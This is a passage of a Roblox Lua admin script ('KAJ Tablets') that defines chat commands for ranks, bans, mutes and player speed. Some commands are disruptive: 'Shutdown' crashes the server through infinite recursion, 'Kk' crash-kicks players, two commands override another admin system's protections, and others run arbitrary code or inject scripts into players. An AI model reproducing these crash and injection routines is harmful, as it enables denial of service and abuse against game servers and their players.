  2282.                         local Text = Instance.new("TextLabel", Msg)
  2283.                         Text.Position = UDim2.new(0, 0, 0, 0)
  2284.                         Text.Font=2
  2285.                         Text.FontSize=9
  2286.                         Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2287.                         Text.BackgroundTransparency = 0.1
  2288.                         Text.TextColor3 = Color3.new(1, 1, 1)
  2289.                         Text.TextTransparency = 1
  2290.                         Text.TextWrap = true
  2291.                         Text.Text = tostring(str)
  2292.                         Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2293.                         Text.TextTransparency = 0
  2294.                         Num = #str * 0.06
  2295.                         wait(3)
  2296.                         Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2297.                         wait(Num)
  2298.                         Msg:Remove()
  2299.                 end)()
  2300.         end
  2301. end
  2302.  
  2303. Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
  2304.         MakeExplorer(Speaker)
  2305. end)
  2306.  
  2307.  
  2308. Command("Sinfo", 0, "Show the Script info", function(Msg, Speaker)
  2309.         wait()
  2310.         Dismiss(Speaker)
  2311.         NumBanned = 0
  2312.         NumCmds = 0
  2313.         for i = 1, #Rankings do
  2314.                 if Rankings[i].Rank < 0 then
  2315.                         NumBanned = NumBanned + 1
  2316.                 end
  2317.         end
  2318.         for i,v in pairs(Commands) do
  2319.                 NumCmds = NumCmds + 1
  2320.         end
  2321.         Ping("KAJ Tablets!", Speaker)
  2322.         Ping("Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
  2323.         Ping("Second Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("21wopih"))
  2324.         Ping("I started this on 6/9/2014", Speaker)
  2325.        
  2326.         Ping(#All2.." players online in the server",Speaker)
  2327.         Ping(NumCmds.." Commands",Speaker)
  2328.         Ping(NumBanned.." players banned", Speaker,5)
  2329.        
  2330. end)
  2331.  
  2332. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  2333.         Dismiss(Speaker)
  2334.         for i,v in pairs(All()) do
  2335.                 Ping(v.Name.."'s Rank: "..FindRank(v))
  2336.         end
  2337. end)
  2338.  
  2339. Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
  2340.         local Split = GetSplit(Msg)
  2341.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2342.         local Speed = tonumber(Msg:sub(Split + 1))
  2343.         for _,v in pairs(PlrTab) do
  2344.                 ypcall(function()
  2345.                         v.Character.Humanoid.WalkSpeed = Speed
  2346.                         Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  2347.                 end)
  2348.         end
  2349. end)
  2350.  
  2351. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  2352.         local RemoveAB = Instance.new("StringValue")
  2353.         RemoveAB.Name = "CBA Attachment"
  2354.         RemoveAB.Value = [[CBA.override=true;]]
  2355.         RemoveAB.Parent = Work
  2356.         Ping("Removed All CBA Anti-Bans", Speaker, 5)
  2357. end)
  2358.  
  2359. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  2360.         Dismiss(Speaker)
  2361.         for i,v in pairs(Injected) do
  2362.                 Ping(i, Speaker)
  2363.         end
  2364. end)
  2365.  
  2366. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  2367.         local RemoveCBA = Instance.new("StringValue")
  2368.         RemoveCBA.Name = "CBA Attachment"
  2369.         RemoveCBA.Value = [[CBA.remove = false]]
  2370.         RemoveCBA.Parent = Work
  2371.         Ping("Removed All CBA Admins", Speaker, 5)
  2372. end)
  2373.  
  2374. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  2375.         local function BufferOverflow(object)
  2376.                 object.DescendantAdded:connect(BufferOverflow)
  2377.                 Instance.new("IntValue", object)
  2378.         end
  2379.         BufferOverflow(Game)
  2380. end)
  2381.  
  2382. Command("Kk", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  2383.         local PlrTab = getPlayer(Speaker, Msg)
  2384.         if #PlrTab > 0 then
  2385.                 for _,v in pairs(PlrTab) do
  2386.                         ypcall(function()
  2387.                                 Crash1(v)
  2388.                                
  2389.                         end)
  2390.                 end
  2391.         end
  2392. end)
  2393.  
  2394. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  2395.         local PlrTab = getPlayer(Speaker, Msg)
  2396.         if #PlrTab > 0 then
  2397.                 for _,v in pairs(PlrTab) do
  2398.                         ypcall(function()
  2399.                                 ChangeRank(v, -1)
  2400.                         end)
  2401.                 end
  2402.         end
  2403. end)
  2404.  
  2405. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  2406.         local PlrTab = getPlayer(Speaker, Msg)
  2407.         if #PlrTab > 0 then
  2408.                 for _,v in pairs(PlrTab) do
  2409.                         ypcall(function()
  2410.                                 ChangeRank(v, -2)
  2411.                         end)
  2412.                 end
  2413.         end
  2414. end)
  2415.  
  2416.  
  2417.  
  2418.  
  2419.  
  2420. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  2421.         local PlrTab = getPlayer(Speaker, Msg)
  2422.         if #PlrTab > 0 then
  2423.                 for _,v in pairs(PlrTab) do
  2424.                         ypcall(function()
  2425.                                 ChangeRank(v, -3)
  2426.                         end)
  2427.                 end
  2428.         end
  2429. end)
  2430.  
  2431. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2432.         ypcall(function()
  2433.                 local PlrTab = getPlayer(Speaker, Msg)
  2434.                 if #PlrTab > 0 then
  2435.                         for _,v in pairs(PlrTab) do
  2436.                                 ypcall(function()
  2437.                                         Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2438.                                 end)
  2439.                         end
  2440.                 end
  2441.                 local PlrName = ChangeRank(Msg, 0)
  2442.                 Ping("Un-Banned "..PlrName, Speaker, 5)
  2443.         end)
  2444. end)
  2445.  
  2446. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2447.         Dismiss(Speaker)
  2448.         Ping("Commands", Speaker, nil, function()
  2449.                 Dismiss(Speaker.Name)
  2450.                 Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2451.                 Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2452.                 Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2453.                 Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2454.                 Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2455.                 Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2456.                 Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2457.                 Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2458.         end)
  2459.         Ping("Players", Speaker, nil, function()
  2460.                 ListPlayers(Speaker)
  2461.         end)
  2462. end)
  2463.  
  2464. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2465.         ListPlayers(Speaker)
  2466. end)
  2467.  
  2468. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2469.         local Func,Error = loadstring(Msg)
  2470.         getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2471.         getfenv(Func).Speaker = Speaker
  2472.         if Error == nil then
  2473.                 coroutine.wrap(function()
  2474.                         Func()
  2475.                 end)()
  2476.                 Ping("Executed Script!", Speaker, 5)
  2477.         else
  2478.                 Ping(Error, Speaker, 10)
  2479.         end
  2480. end)
  2481.  
  2482. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2483.         if LS ~= nil then
  2484.                 local Split = GetSplit(Msg)
  2485.                 local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2486.                 local LocalSource = Msg:sub(Split + 1)
  2487.                 if #PlrTab > 0 then
  2488.                         for _,v in pairs(PlrTab) do
  2489.                                 local Inserted = LS:Clone()
  2490.                                 Inserted.Disabled = true
  2491.                                 Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2492.                                 if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2493.                                         Inserted:findFirstChild(OwnSource).Value = v.Name
  2494.                                 end
  2495.                                 Inserted[LSSource].Value = LocalSource
  2496.                                 Inserted.Disabled = false
  2497.                         end
  2498.                 end
  2499.         else
  2500.                 Ping("ERROR: Local Script Not Found", Speaker, 5)
  2501.         end
  2502. end)
  2503.  
  2504. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2505.         Msg = tostring(Msg)
  2506.         Ping(Msg, Speaker)
  2507. end)
  2508.  
  2509. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2510.         Dismiss(Speaker)
  2511.         for i,v in pairs(getfenv(1)) do
  2512.                 ypcall(function()
  2513.                         Ping(tostring(i)..": "..tostring(v), Speaker)
  2514.                 end)
  2515.         end
  2516. end)
  2517.  
  2518. Command('Ranks', 0, 'Shows all players in ranking table',
  2519. function(Msg,Speaker)
  2520. for _,v in pairs(Rankings) do
  2521. Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  2522. end
  2523. end)
  2524.  
  2525.  
  2526. Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
  2527.         local Split = GetSplit(Msg)
  2528.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2529.         local Rank = tonumber(Msg:sub(Split + 1))
  2530.         if #PlrTab > 0 then
  2531.                 for _,v in pairs(PlrTab) do
  2532.                         if v.Name ~= Owner then
  2533.                                 ChangeRank(v, Rank)
  2534.                                 Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2535.                         end
  2536.                 end
  2537.         end
  2538. end)
  2539.  
  2540. Command("Kajr", 5, "Remove the tablets", function(Msg, Speaker)
  2541.         Dismiss()
  2542.         Ping('Remove KAJ Tablets? <LolClickMe>',Speaker,5,function()
  2543.                 Dismiss()
  2544.         Removed = true
  2545.         for i,v in pairs(getfenv(1)) do
  2546.                 getfenv(1)[i] = nil
  2547.         end
  2548.         script.Disabled = true
  2549.         end)
  2550. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement